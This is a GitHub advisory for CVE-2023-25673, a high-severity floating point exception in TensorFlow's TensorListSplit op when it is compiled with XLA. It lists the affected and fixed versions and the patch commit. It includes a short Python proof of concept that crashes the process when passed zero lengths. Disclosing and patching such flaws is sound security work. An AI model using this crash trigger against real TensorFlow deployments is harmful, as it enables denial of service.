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GHSA-647v-r7qq-24fh

TensorFlow has Floating Point Exception in TensorListSplit with XLA

Source: GitHub Advisory Database (reviewed) High CVE-2023-25673

Packages

EcosystemPackageAffectedFixed in
PyPI tensorflow < 2.11.1 2.11.1
PyPI tensorflow-cpu < 2.11.1 2.11.1
PyPI tensorflow-gpu < 2.11.1 2.11.1

Details

As written in the advisory (Markdown source, shown as plain text).

### Impact FPE in TensorListSplit with XLA ```python import tensorflow as tf func = tf.raw_ops.TensorListSplit para = {'tensor': [1], 'element_shape': -1, 'lengths': [0]} @tf.function(jit_compile=True) def fuzz_jit(): y = func(**para) return y print(fuzz_jit()) ``` ### Patches We have patched the issue in GitHub commit [728113a3be690facad6ce436660a0bc1858017fa](https://github.com/tensorflow/tensorflow/commit/728113a3be690facad6ce436660a0bc1858017fa). The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1 ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by r3pwnx

References

External links from the advisory. They lead to third-party sites.